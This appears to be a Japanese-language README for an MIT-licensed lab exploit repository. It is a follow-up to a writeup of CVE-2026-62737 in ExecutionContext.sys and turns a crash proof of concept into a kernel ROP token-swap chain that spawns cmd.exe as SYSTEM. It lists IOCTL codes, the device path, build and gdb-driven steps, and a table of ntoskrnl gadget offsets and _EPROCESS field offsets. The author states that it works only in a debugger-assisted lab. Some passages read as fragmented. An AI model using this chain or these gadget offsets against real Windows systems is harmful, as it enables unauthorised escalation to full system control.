
これは、元のCVE-2026-62737のwriteup
(ExecutionContext.sys の任意カーネル間接呼び出し)の続編です。クラッシュ
PoCを、cmd.exe をSYSTEMとして起動する実用的なトークンスワップチェーンに
変換します。ただし、デバッガがアドレスを提供し、ROPチェーンをカーネル
メモリに書き込むラボ環境でのみ機能します。これはスタンドアロンのエクスプロイトではありません。
ExecutionContext デバイスを開きます。ExecutionContext(0x22EC40)を初期化し、Callback がカーネルROPピボットである
タスク(0x22AC54)をキューに登録します。patch_rop.py)がトークンスワップROPチェーンを
ExecutionContext .data に書き込み、ハードウェアブレークポイントを
介してピボット時のRSP/RBPを取得します。0x226C5C 終了
コールバック)を起こし、チェーンが自分のトークンをSYSTEMのトークンと交換し、
カーネルスタックを復元してドライバディスパッチャに戻るため、ワーカーは生存します。gdbserver tcp::1234)、ゲストエージェント、および
ホスト/ゲスト共有フォルダが Z: としてマウントされたVM。\\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535} を開くことができる低権限アカウント。x86_64-w64-mingw32-gcc)と gdb。x86_64-w64-mingw32-gcc -O2 -municode -o exploit.exe exploit.c
x86_64-w64-mingw32-gcc -O2 -o modlist.exe modlist.c
新しいベースを取得: ./ga.py 'Z:\modlist.exe'(modlist.exe を共有
フォルダにコピーした後)
スクリプトを更新: ./refresh_bases.sh
exploit.exe と modlist.exe を共有フォルダにコピーします。
低権限ユーザーとしてエクスプロイトを起動: exploit.exe <nt> <ec> <ec+0x10A00>。
PIDを Z:\lab_pid.txt に書き込み、Z:\go_lab.txt を待ちます。
gdbをアタッチし、LAB_PID_FILE にホスト側の lab_pid.txt のコピーを指定します:
LAB_PID_FILE=/path/to/shared/lab_pid.txt \
gdb -q -ex 'target remote :1234' -ex 'set pagination off' -x patch_rop.py
gdbプロンプトで continue と入力します。
MIT。 LICENSE を参照してください。
| ファイル | 目的 |
|---|
exploit.c | ラボ用エクスプロイト: 初期化 + キュー登録 + gdbパッチ待ち + トークン確認 + cmd起動。 |
patch_rop.py | gdbスクリプト: 自分のEPROCESSを特定し、ROPチェーンを書き込み、ピボットブレークポイントを設定します。 |
trace_rop.py | 同じセットアップですが、チェーンをシングルステップ実行してデバッグします。 |
refresh_bases.sh | modlist.exe の出力から、起動ごとのnt/ecベースをgdbスクリプトに反映します。 |
modlist.c | 起動ごとのntoskrnl / ExecutionContextベースを出力します(ラボのKASLRオラクル)。 |
ga.py | QEMUゲストエージェントを介してラボVM内でコマンドを実行します。 |
エクスプロイトを解放: touch /path/to/shared/go_lab.txt
約15秒後、Z:\lab_exploit_out.txt に system=1 が表示され、
Z:\lab_shell_out.txt に nt authority\system が含まれるはずです。
| 項目 | 値 |
|---|
| ROPピボット(フル) | nt + 0x6A6A40 |
pop rcx; ret | nt + 0x28843A |
pop rdx; ret | nt + 0x2FECD2 |
mov [rcx], rdx; ret | nt + 0x3BC6A7 |
ret | nt + 0x20043B |
pop rsp; ret | nt + 0x2006C4 |
PsInitialSystemProcess | nt + 0xFC6AF0 |
_EPROCESS.Token | 0x248 |
_EPROCESS.UniqueProcessId | 0x1D0 |
_EPROCESS.ActiveProcessLinks | 0x1D8 |